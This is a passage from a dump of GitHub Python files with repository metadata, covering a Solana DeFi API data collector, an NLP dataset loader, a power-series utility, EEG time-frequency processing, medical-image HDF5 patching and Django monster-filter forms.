):\n url = \"https://rest-api.hellomoon.io/v0/defi/liquidity-pools/withdrawals-deposits\"\n payload = {\n \"tokenMintA\": token1,\n \"tokenMintB\": token2,\n \"limit\": 100\n\n } \n headers = {\n \"accept\": \"application/json\",\n \"content-type\": \"application/json\",\n \"authorization\": os.getenv(\"hellomoon_api_key\")\n }\n response = requests.post(url, json=payload, headers=headers)\n #outfile = open(f\"../data/hellomoon_orca_{t1}-{t2}_pool_w_d.json\", 'w')\n #json.dump ( response.json(), outfile )\n data = response.json()\n new_recs = []\n mapping = {'programId':'program_id', 'actionType':'action_type', 'blockTime':'txn_time', 'userAccount':'user_account', 'tokenMintA':'token_mint_a', 'tokenMintB':'token_mint_b', 'amountTokenA':'amount_token_a', 'amountTokenB':'amount_token_b' , 'transactionId':'transaction_signature'}\n for row in data[\"data\"] :\n newrow = { v : row[k] for k,v in mapping.items() }\n newrow['txn_time'] = datetime.fromtimestamp( int(newrow['txn_time']) )\n newrow['pool_address'] = pool_address\n new_recs.append( newrow )\n #print( newrow['transaction_signature'])\n if len(new_recs) > 0:\n print(f\"Save {len(new_recs)} records to defi_pool_activities table \")\n DefiPoolActivitiesProcessor().save_activities_to_db( new_recs )\n\ndef get_swaps_records( token1, token2, pool_address ):\n url = \"https://rest-api.hellomoon.io/v0/defi/swaps\"\n payload = {\n \"sourceMint\": token1,\n \"destinationMint\": token2,\n \"limit\": 100,\n \"programId\": \"whirLbMiicVdio4qvUfM5KAg6Ct8VwpYzGff3uctyCc\"\n\n } \n headers = {\n \"accept\": \"application/json\",\n \"content-type\": \"application/json\",\n \"authorization\": os.getenv(\"hellomoon_api_key\")\n }\n response = requests.post(url, json=payload, headers=headers)\n #outfile = open(f\"../data/hellomoon_orca_{t1}-{t2}_pool_w_d.json\", 'w')\n #json.dump ( response.json(), outfile )\n data = response.json()\n new_recs = []\n mapping = {'userAccount':'user_account', 'sourceMint':'source_mint', 'destinationMint':'destination_mint', \n 'programId':'program_address', 'aggregatorId':'aggregator_address', 'sourceAmount':'source_amount', 'destinationAmount':'destination_amount', 'blockTime':'txn_time' , 'transactionId':'transaction_signature'}\n for row in data[\"data\"] :\n newrow = { v : row[k] for k,v in mapping.items() }\n newrow['txn_time'] = datetime.fromtimestamp( int(newrow['txn_time']) )\n newrow['pool_address'] = pool_address\n\n new_recs.append( newrow )\n #print( newrow['transaction_signature'])\n if len(new_recs) > 0:\n print(f\"Save {len(new_recs)} swap records to defi_swap_activities table \")\n DefiPoolActivitiesProcessor().save_swaps_to_db( new_recs )\n\ndef get_pool_emissions( pool_address, t1, t2 ):\n url = \"https://rest-api.hellomoon.io/v0/defi/liquidity-pools/emissions\"\n payload = {\"poolAddress\": pool_address }\n headers = {\n \"accept\": \"application/json\",\n \"content-type\": \"application/json\",\n \"authorization\": os.getenv(\"hellomoon_api_key\")\n }\n response = requests.post(url, json=payload, headers=headers)\n outfile = open(f\"../data/hellomoon_orca_{t1}-{t2}_pool_emissions.json\", 'w')\n json.dump ( response.json(), outfile )\n\ndef get_ray_pool_balances( tokenA, tokenB, t1, t2):\n payload = {\n \"mintTokenA\": tokenA,\n \"mintTokenB\": tokenB\n }\n headers = {\n \"accept\": \"application/json\",\n \"content-type\": \"application/json\",\n \"authorization\": os.getenv(\"hellomoon_api_key\")\n }\n response = requests.post(pool_balance_endpoint, json=payload, headers=headers)\n outfile = open(f\"../data/hellomoon_ray_{t1}-{t2}_pool_balance.json\", 'w')\n json.dump ( response.json(), outfile )\n return response.json()\n\n\ndef get_orca_pool_balances( pool_address, t1, t2):\n payload = {\n \"poolAddress\": pool_address \n }\n headers = {\n \"accept\": \"application/json\",\n \"content-type\": \"application/json\",\n \"authorization\": os.getenv(\"hellomoon_api_key\")\n }\n response = requests.post(pool_balance_endpoint, json=payload, headers=headers)\n outfile = open(f\"../data/hellomoon_orca_{t1}-{t2}_pool_balance.json\", 'w')\n json.dump ( response.json(), outfile )\n return response.json()\n\n#response = get_ray_pool_balances( SOL, USDC, 'SOL', 'USDC' )\n#response = get_ray_pool_balances( RAY, USDC, 'RAY' , 'USDC' )\n#response = get_orca_pool_balances( ORCA_MSOL_USDC, 'mSOL', 'USDC' )\n#response = get_orca_pool_balances( ORCA_SOL_USDC, 'SOL', 'USDC' )\n\n#get_pool_emissions( ORCA_STSOL_SOL, 'stSOL', 'SOL' ) \n#get_pool_emissions( ORCA_SLCL_USDC, 'SLCL', 'USDC' )\npool_address = '7qbRF6YsyGuLUVs6Y1q64bdVrfe4ZcUUz1JRdoVNUJnm'\nget_pool_withdrawls_deposits(SOL, USDC, 'SOL', 'USDC', pool_address)\nget_swaps_records(SOL, USDC, pool_address)\n#Wrapped SOL ==> So11111111111111111111111111111111111111112\n#USDC ==> EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v\n", "repo_name": "kpaddy/jimsim-app", "sub_path": "python/src/hellomoon_collector.py", "file_name": "hellomoon_collector.py", "file_ext": "py", "file_size_in_byte": 6608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 7, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql.insert", "line_number": 33, "usage_type": "call"}, {"api_name": "data_models.DeFiPoolActivities", "line_number": 33, "usage_type": "argument"}, {"api_name": "sqlalchemy.dialects.postgresql.insert", "line_number": 37, "usage_type": "call"}, {"api_name": "data_models.DeFiSwapActivities", "line_number": 37, "usage_type": "argument"}, {"api_name": "os.getenv", "line_number": 54, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 64, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 84, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 110, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 112, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 114, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 124, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 126, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 128, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 139, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 141, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "20745756224", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n@file : snli_dataset.py\n@author: zijun\n@contact : zijun_sun@shannonai.com\n@date : 2020/11/26 14:16\n@version: 1.0\n@desc : \n\"\"\"\n\nimport json\nimport os\nfrom functools import partial\n\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom transformers import RobertaTokenizer\nimport pandas as pd\n\nfrom datasets.collate_functions import collate_to_max_length\n\n\nclass SNLIDataset(Dataset):\n\n def __init__(self, directory, bert_path, max_length: int = 256):\n super().__init__()\n self.max_length = max_length\n label_map = {\"SUPPORTED\": 0, 'REFUTED': 1, \"NEI\": 2}\n self.result = []\n data = pd.read_csv(directory)\n for i in range(len(data)):\n self.result.append((data['claim'][i], data['evidence_top1'][i], label_map[data['verdict'][i]]))\n self.tokenizer = RobertaTokenizer.from_pretrained(bert_path)\n\n def __len__(self):\n return len(self.result)\n\n def __getitem__(self, idx):\n sentence_1, sentence_2, label = self.result[idx]\n # remove .\n if sentence_1.endswith(\".\"):\n sentence_1 = sentence_1[:-1]\n if sentence_2.endswith(\".\"):\n sentence_2 = sentence_2[:-1]\n sentence_1_input_ids = self.tokenizer.encode(sentence_1, add_special_tokens=False)\n sentence_2_input_ids = self.tokenizer.encode(sentence_2, add_special_tokens=False)\n input_ids = sentence_1_input_ids + [2] + sentence_2_input_ids\n if len(input_ids) > self.max_length - 2:\n input_ids = input_ids[:self.max_length - 2]\n # convert list to tensor\n # length = torch.LongTensor([len(input_ids) + 2])\n # input_ids = torch.LongTensor([0] + input_ids + [2])\n # label = torch.LongTensor([label])\n length = torch.LongTensor([len(input_ids) + 2])\n input_ids = torch.LongTensor([0] + input_ids + [2])\n label = torch.LongTensor([label])\n \n return input_ids, label, length\n\n\ndef unit_test():\n root_path = \"/content/snli_1.0\"\n bert_path = \"/content/roberta_base\"\n prefix = \"train\"\n dataset = SNLIDataset(directory=root_path, prefix=prefix, bert_path=bert_path)\n\n dataloader = DataLoader(\n dataset=dataset,\n batch_size=10,\n num_workers=0,\n shuffle=False,\n collate_fn=partial(collate_to_max_length, fill_values=[1, 0, 0])\n )\n for input_ids, label, length, start_index, end_index, span_mask in dataloader:\n print(input_ids.shape)\n print(start_index.shape)\n print(end_index.shape)\n print(span_mask.shape)\n print(label.view(-1).shape)\n print()\n\n\nif __name__ == '__main__':\n unit_test()\n", "repo_name": "TTHHA/nlp_e", "sub_path": "Self_Explaining_Structures_Improve_NLP_Models/explain/datasets/snli_dataset.py", "file_name": "snli_dataset.py", "file_ext": "py", "file_size_in_byte": 2707, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 24, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "transformers.RobertaTokenizer.from_pretrained", "line_number": 34, "usage_type": "call"}, {"api_name": "transformers.RobertaTokenizer", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 68, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 73, "usage_type": "call"}, {"api_name": "datasets.collate_functions.collate_to_max_length", "line_number": 73, "usage_type": "argument"}]} +{"seq_id": "25410608877", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 28 10:49:33 2020\n\n@author: basile\n\"\"\"\n\nimport numpy as np\n\n# h(x) = f(x) * g(x) mod O(x^(n+1))\ndef power_series_prod(f, g):\n assert len(f) == len(g), \"f and g must be of the same length\"\n n = len(f) - 1\n h = [0] * (n + 1)\n for k in range(n + 1):\n for l in range(k + 1):\n h[k] += f[l] * g[k - l]\n return h\n \n \n# h(x) = f(g(x)) mod O(x^(n+1))\ndef power_series_comp(f, g):\n assert len(f) == len(g), \"f and g must be of the same length\"\n n = len(f) - 1\n h = [0] * (n + 1)\n # degree zero of result h\n h[0] = f[0]\n # mono: monomial g(x)^k\n mono = [0] * (n + 1) \n mono[0] = 1 # g(x)^0\n # compute degrees 1,...,n\n for k in range(1, n + 1):\n mono = power_series_prod(mono, g)\n for q in range(n + 1):\n h[q] += f[k] * mono[q]\n return h\n\ndef composition_rule(f, g):\n \"\"\" \n Compute the derivatives of f(g(x)) w.r.t. x given the\n list of derivatives of f at g(x) and of g at x using \n truncated power series composition\n Parameters:\n \n f : list of derivatives of f. f = [f^(0)(g(x)), f^(1)(g(x)), ..., f^(n)(g(x))]\n \n g : list of derivatives of g. g = [g^(0)(x), g^(1)(x), ..., g^(n)(x)]\n compute the list\n h : list of derivatives of h. h = [h^(0)(x), h^(1)(x), ..., h^(n)(x)]\n where h(x) = f(g(x))\n \"\"\"\n assert len(f) == len(g), \"f and g must be of the same length\"\n n = len(f) - 1\n # Constant power series case => value is f[0] independently of g\n if n == 0:\n return f\n # Non trivial cases\n p1 = f.copy()\n p2 = [0] * (n+1)\n p2[0] = -g[0]\n p2[1] = 1\n p3 = g.copy()\n kfac = 1\n for k in range(n + 1):\n p1[k] *= kfac \n p3[k] *= kfac \n kfac /= k + 1\n h = power_series_comp(p2, p3)\n h = power_series_comp(p1, h)\n kfac = 1\n for k in range(n + 1):\n h[k] *= kfac\n kfac *= k + 1\n return h\n \n \n\nif __name__ == \"__main__\":\n import sympy as sp\n import time\n \n def spoly(c, x):\n p = 0\n for k in range(len(c)):\n p += c[k] * x**k\n return p\n \n # Coefficient lists examples \n f = [1,2,4,2]\n g = [4,-2,5,-2]\n \n # Compute poser series directly with sympy\n x = sp.symbols('x')\n fs = spoly(f, x)\n gs = spoly(g, x) \n fgs = sp.expand(fs.subs(x,gs))\n fg1 = list(map(lambda k : fgs.coeff(x,k), list(range(len(f))))) # truncate\n \n # Compute the same with our function\n fg2 = power_series_comp(f, g)\n \n print(\"power series composition sympy : \", fg1)\n print(\"power series composition numerical: \", fg2)\n \n # timing\n n = 100\n fnum = 1e-10*np.random.randn(n)\n gnum = 1e-10*np.random.randn(n)\n \n t0 = time.time()\n fgnum = composition_rule(fnum, gnum)\n t1 = time.time()\n print(\"Time :\", t1-t0)\n print(\"Composition: \", fgnum)\n ", "repo_name": "basilegraf/parkingfrenzy", "sub_path": "derivatives_composition_rule.py", "file_name": "derivatives_composition_rule.py", "file_ext": "py", "file_size_in_byte": 2993, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sympy.symbols", "line_number": 94, "usage_type": "call"}, {"api_name": "sympy.expand", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 109, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 111, "usage_type": "call"}, {"api_name": "time.time", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "72188306247", "text": "import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mne\n\ntmin, tmax = -1., 4.\nevent_id = dict(rest=1, left=2, right=3)\nruns = [4, 8, 12] # motor imagery: rest vs left hand vs right hand\n\neeg_tfr_rest = []\neeg_tfr_right = []\neeg_tfr_left = []\n\nsubjects = [i for i in range(1, 3, 1)]\nfor run in runs:\n\tfor subject in subjects:\n\t\traw_fnames = mne.datasets.eegbci.load_data(subject, run)\n\t\traw = mne.io.read_raw_edf(raw_fnames[0], preload=True)\n\t\tmne.datasets.eegbci.standardize(raw)\n\n\t\tmontage = mne.channels.make_standard_montage('standard_1005')\n\t\traw.set_montage(montage)\n\n\t\traw.filter(8., 30., fir_design='firwin', skip_by_annotation='edge')\n\t\t# raw.plot_psd(fmax=50)\n\n\t\tevents, _ = mne.events_from_annotations(raw, event_id=dict(T0=1, T1=2, T2=3))\n\t\tpicks = mne.pick_types(raw.info, meg=False, eeg=True, stim=False, eog=False, exclude='bads')\n\n\t\tsfreq = raw.info['sfreq']\n\t\tepochs = mne.Epochs(raw, events, event_id, tmin, tmax - 1 / sfreq, proj=True, picks=picks, baseline=None, preload=True)\n\n\t\trest_epochs = epochs['rest']\n\t\tright_epochs = epochs['right']\n\t\tleft_epochs = epochs['left']\n\n\t\tfrequencies = np.arange(8, 30, 0.50)\n\t\ttime = np.arange(tmin, tmax, 1 / sfreq)\n\n\t\trest_power = mne.time_frequency.tfr_array_morlet(rest_epochs, sfreq=sfreq, freqs=frequencies, n_cycles=7.0, output='power')\n\t\tright_power = mne.time_frequency.tfr_array_morlet(right_epochs, sfreq=sfreq, freqs=frequencies, n_cycles=7.0, output='power')\n\t\tleft_power = mne.time_frequency.tfr_array_morlet(left_epochs, sfreq=sfreq, freqs=frequencies, n_cycles=7.0, output='power')\n\t\t# print(power.shape)\n\n\t\tfor power in rest_power:\n\t\t\tif power.shape[2] == 800:\n\t\t\t\teeg_tfr_rest.append(power)\n\t\t\t# eeg_tfr_rest.append(power)\n\n\t\tfor power in right_power:\n\t\t\tif power.shape[2] == 800:\n\t\t\t\teeg_tfr_right.append(power)\n\t\t\t# eeg_tfr_right.append(power)\n\n\t\tfor power in left_power:\n\t\t\tif power.shape[2] == 800:\n\t\t\t\teeg_tfr_left.append(power)\n\t\t\t# eeg_tfr_left.append(power)\n\n\t\t# power_epoch = power[0, :, :, :]\n\t\t# TFR_epoch = mne.time_frequency.AverageTFR(raw.info, power_epoch, times=time, freqs=frequencies, nave=1)\n\t\t# TFR_epoch.plot(picks=['FC3'], title='FC3')\n\n\t\t# print(power_epoch)\n\n\t\t# plt.show()\n\ntfr_rest = np.stack(eeg_tfr_rest)\ntfr_right = np.stack(eeg_tfr_right)\ntfr_left = np.stack(eeg_tfr_left)\n\nprint(tfr_rest.shape)\nprint(tfr_right.shape)\nprint(tfr_left.shape)\n\nnp.save('tfr_rest_01', tfr_rest)\nnp.save('tfr_right_01', tfr_right)\nnp.save('tfr_left_01', tfr_left)", "repo_name": "aweditya/n3url", "sub_path": "src/mne-tutorial/compute_edf_tfr.py", "file_name": "compute_edf_tfr.py", "file_ext": "py", "file_size_in_byte": 2463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "mne.datasets.eegbci.load_data", "line_number": 17, "usage_type": "call"}, {"api_name": "mne.datasets", "line_number": 17, "usage_type": "attribute"}, {"api_name": "mne.io.read_raw_edf", "line_number": 18, "usage_type": "call"}, {"api_name": "mne.io", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mne.datasets.eegbci.standardize", "line_number": 19, "usage_type": "call"}, {"api_name": "mne.datasets", "line_number": 19, "usage_type": "attribute"}, {"api_name": "mne.channels.make_standard_montage", "line_number": 21, "usage_type": "call"}, {"api_name": "mne.channels", "line_number": 21, "usage_type": "attribute"}, {"api_name": "mne.events_from_annotations", "line_number": 27, "usage_type": "call"}, {"api_name": "mne.pick_types", "line_number": 28, "usage_type": "call"}, {"api_name": "mne.Epochs", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 38, "usage_type": "call"}, {"api_name": "mne.time_frequency.tfr_array_morlet", "line_number": 40, "usage_type": "call"}, {"api_name": "mne.time_frequency", "line_number": 40, "usage_type": "attribute"}, {"api_name": "mne.time_frequency.tfr_array_morlet", "line_number": 41, "usage_type": "call"}, {"api_name": "mne.time_frequency", "line_number": 41, "usage_type": "attribute"}, {"api_name": "mne.time_frequency.tfr_array_morlet", "line_number": 42, "usage_type": "call"}, {"api_name": "mne.time_frequency", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "11021430442", "text": "import os\n\nimport numpy as np\nimport h5py\nfrom medpy.io import load\nimport argparse\nfrom tqdm import tqdm\n\n# 每个case大小144*192*256，以32为步长，切成64*64*64大小的patch，每个case有3*4*6个patch\ndef parse_args():\n parser = argparse.ArgumentParser(description='convert_to_h5')\n # config\n parser.add_argument('-d', '--data-file-path', default='/data/data/iseg2019/iSeg-2019-Training/iSeg-2019-Training', type=str)\n parser.add_argument('-l', '--target-path', default='/data/data/iseg2019/training_h5', type=str)\n # Train Setting\n parser.add_argument('--step-size', type=int, default=32)\n parser.add_argument('--patch-size', type=int, default=64)\n\n args = parser.parse_args()\n\n print('data file path =', args.data_file_path)\n print('target path = ', args.target_path)\n print('step size = ', args.step_size)\n print('patch size = ', args.patch_size)\n\n return args\n\n\ndef generate_h5(args):\n if not os.path.isdir(args.target_path):\n os.mkdir(args.target_path)\n print('-------------------')\n print('Generating h5 file...')\n f = h5py.File(os.path.join(args.target_path, 'iseg2019_training.h5'), 'w')\n T1, T2, label = [], [], []\n patch_per_case = 0\n for i in tqdm(range(1, 11, 1), ascii=True, position=0, leave=True):\n subject_name = 'subject-%d-' % i\n f_T1 = os.path.join(args.data_file_path, subject_name + 'T1.hdr')\n f_T2 = os.path.join(args.data_file_path, subject_name + 'T2.hdr')\n f_label = os.path.join(args.data_file_path, subject_name + 'label.hdr')\n img_T1, header_T1 = load(f_T1)\n img_T2, header_T2 = load(f_T2)\n img_label, header_label = load(f_label)\n patch_per_case = ((img_label.shape[0] - args.patch_size + 1) // args.step_size + 1) * \\\n ((img_label.shape[1] - args.patch_size + 1) // args.step_size + 1) * \\\n ((img_label.shape[2] - args.patch_size + 1) // args.step_size + 1)\n for idx_x in range(0, img_label.shape[0] - args.patch_size + 1, args.step_size):\n for idx_y in range(0, img_label.shape[1] - args.patch_size + 1, args.step_size):\n for idx_z in range(0, img_label.shape[2] - args.patch_size + 1, args.step_size):\n T1.append(img_T1[idx_x:idx_x + args.patch_size, idx_y:idx_y + args.patch_size, idx_z:idx_z + args.patch_size])\n T2.append(img_T2[idx_x:idx_x + args.patch_size, idx_y:idx_y + args.patch_size, idx_z:idx_z + args.patch_size])\n label.append(img_label[idx_x:idx_x + args.patch_size, idx_y:idx_y + args.patch_size, idx_z:idx_z + args.patch_size])\n T1 = np.array(T1)\n T2 = np.array(T2)\n label = np.array(label)\n patch_per_case = np.array([patch_per_case])\n f.create_dataset(name='T1', data=T1)\n f.create_dataset(name='T2', data=T2)\n f.create_dataset(name='label', data=label)\n f.create_dataset(name='patch_per_case', data=patch_per_case)\n f.close()\n\n\nif __name__ == '__main__':\n args = parse_args()\n generate_h5(args=args)\n # test\n f = h5py.File(os.path.join(args.target_path, 'iseg2019_training.h5'), 'r')\n print(f['T1'].shape)\n print(f['T2'].shape)\n print(f['label'].shape)\n print(f['patch_per_case'][0])\n\n", "repo_name": "Andrewsher/3d-unet-tf", "sub_path": "convert_to_h5.py", "file_name": "convert_to_h5.py", "file_ext": "py", "file_size_in_byte": 3261, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 31, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "medpy.io.load", "line_number": 42, "usage_type": "call"}, {"api_name": "medpy.io.load", "line_number": 43, "usage_type": "call"}, {"api_name": "medpy.io.load", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}]} +{"seq_id": "30827112360", "text": "from itertools import chain\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Submit, Div, Layout, Field, Button, Fieldset\nfrom dal import autocomplete\nfrom django import forms\nfrom django.templatetags.static import static\nfrom django.utils.safestring import mark_safe\n\nfrom .fields import AdvancedSelectMultiple\nfrom .models import Monster, LeaderSkill, ScalingStat, SkillEffect\nfrom .widgets import EffectSelectMultipleWidget, ElementSelectMultipleWidget\n\nSTATIC_URL_PREFIX = static('herders/images/')\n\n\n# Bestiary forms\nclass BestiaryQuickSearchForm(forms.Form):\n name = forms.ModelChoiceField(\n queryset=Monster.objects.all(),\n widget=autocomplete.ModelSelect2(\n url='bestiary-quicksearch-autocomplete',\n attrs={\n 'data-ajax-delay': 250,\n 'data-html': True,\n 'data-placeholder': 'Quick search',\n }\n ),\n )\n\n helper = FormHelper()\n helper.form_action = 'bestiary:home'\n helper.form_method = 'post'\n helper.form_class = 'navbar-form navbar-left hidden-sm'\n helper.form_id = 'bestiary_quick_search'\n helper.form_show_labels = False\n helper.include_media = False\n helper.layout = Layout(\n Div(\n Field(\n 'name',\n ),\n css_class='input-group navbar-autocomplete'\n ),\n )\n\n\ndef effect_choices(effects):\n choices = []\n\n for buff in effects.order_by('name'):\n # Select2 template splits the string at ; to get an image and name\n choices.append((buff.pk, STATIC_URL_PREFIX + 'buffs/' + buff.icon_filename + ';' + buff.name))\n\n return choices\n\n\nclass FilterMonsterForm(forms.Form):\n name = forms.CharField(\n label='Monster Name',\n max_length=100,\n required=False,\n )\n natural_stars = forms.CharField(\n label='Natural Stars',\n required=False,\n )\n element = forms.MultipleChoiceField(\n label='Element',\n choices=Monster.ELEMENT_CHOICES,\n required=False,\n widget=ElementSelectMultipleWidget,\n )\n archetype = forms.MultipleChoiceField(\n label='Archetype',\n choices=Monster.ARCHETYPE_CHOICES,\n required=False,\n )\n awaken_level = forms.MultipleChoiceField(\n label='Awakening Level',\n choices=Monster.AWAKEN_CHOICES[:3], # Excluding 'incomplete'\n required=False,\n )\n fusion_food = forms.NullBooleanField(\n label='Fusion Food',\n required=False,\n widget=forms.Select(choices=((None, '---'), (True, 'Yes'), (False, 'No')))\n )\n leader_skill__attribute = forms.MultipleChoiceField(\n label='Leader Skill Stat',\n choices=LeaderSkill.ATTRIBUTE_CHOICES,\n required=False,\n )\n leader_skill__area = forms.MultipleChoiceField(\n label='Leader Skill Area',\n choices=LeaderSkill.AREA_CHOICES,\n required=False,\n )\n skills__scaling_stats__pk = forms.ModelMultipleChoiceField(\n label='Scales With',\n queryset=ScalingStat.objects.all(),\n required=False,\n )\n skills__cooltime = forms.CharField(\n label=\"Cooldown\",\n required=False,\n )\n skills__hits = forms.CharField(\n label=\"Number of Hits\",\n required=False,\n )\n skills__passive = forms.NullBooleanField(\n label=\"Passive\",\n required=False,\n widget=forms.Select(choices=((None, '---'), (True, 'Yes'), (False, 'No')))\n )\n skills__aoe = forms.NullBooleanField(\n label=\"AOE\",\n required=False,\n widget=forms.Select(choices=((None, '---'), (True, 'Yes'), (False, 'No')))\n )\n buffs = AdvancedSelectMultiple(\n label='Buffs',\n queryset=SkillEffect.objects.filter(type=SkillEffect.TYPE_BUFF),\n required=False,\n widget=EffectSelectMultipleWidget\n )\n debuffs = AdvancedSelectMultiple(\n label='Debuffs',\n queryset=SkillEffect.objects.filter(type=SkillEffect.TYPE_DEBUFF),\n required=False,\n widget=EffectSelectMultipleWidget,\n )\n other_effects = forms.ModelMultipleChoiceField(\n label='Other Effects',\n queryset=SkillEffect.objects.filter(type=SkillEffect.TYPE_NEUTRAL),\n required=False,\n )\n effects_logic = forms.BooleanField(\n label=mark_safe(''),\n required=False,\n initial=True,\n )\n page = forms.IntegerField(required=False)\n sort = forms.CharField(required=False)\n\n helper = FormHelper()\n helper.form_method = 'get'\n helper.form_id = 'FilterBestiaryForm'\n helper.layout = Layout(\n Div(\n Fieldset(\n 'General',\n Div(\n Field('name', wrapper_class='col-md-8'),\n Field(\n 'natural_stars',\n data_provide='slider',\n data_slider_min='1',\n data_slider_max='6',\n data_slider_value='[1, 6]',\n data_slider_step='1',\n data_slider_ticks='[1, 6]',\n data_slider_ticks_labels='[\"1\", \"6\"]',\n wrapper_class='col-md-4', \n ),\n Field(\n 'awaken_level',\n css_class='select2',\n wrapper_class='col-md-6', \n ),\n Field('fusion_food', wrapper_class='col-md-6'),\n Field(\n 'element',\n css_class='select2',\n data_result_template='iconSelect2Template',\n data_selection_template='iconSelect2Template',\n wrapper_class='col-md-6', \n ),\n Field('archetype', css_class='select2', wrapper_class='col-md-6'),\n css_class='row',\n ),\n css_class='col-md-4'\n ),\n Fieldset(\n 'Skills',\n Div(\n Field(\n 'buffs',\n css_class='select2',\n data_result_template='iconSelect2Template',\n data_selection_template='iconSelect2Template',\n wrapper_class='col-lg-6'\n ),\n Field(\n 'debuffs',\n css_class='select2',\n data_result_template='iconSelect2Template',\n data_selection_template='iconSelect2Template',\n wrapper_class='col-lg-6'\n ),\n Field('other_effects', css_class='select2', wrapper_class='col-lg-6'),\n Field('skills__scaling_stats__pk', css_class='select2', wrapper_class='col-lg-6'),\n Field('skills__passive', wrapper_class='col-lg-6', ),\n Field('skills__aoe', wrapper_class='col-lg-6', ),\n Field(\n 'skills__cooltime',\n data_provide='slider',\n data_slider_min='0',\n data_slider_max='13',\n data_slider_value='[0, 13]',\n data_slider_step='1',\n data_slider_ticks='[0, 13]',\n data_slider_ticks_labels='[\"0\", \"13\"]',\n wrapper_class='col-lg-6', \n ),\n Field(\n 'skills__hits',\n data_provide='slider',\n data_slider_min='0',\n data_slider_max='7',\n data_slider_value='[0, 7]',\n data_slider_step='1',\n data_slider_ticks='[0, 7]',\n data_slider_ticks_labels='[\"0\", \"7\"]',\n wrapper_class='col-lg-6', \n ),\n Field(\n 'effects_logic',\n data_toggle='toggle',\n data_on='Any 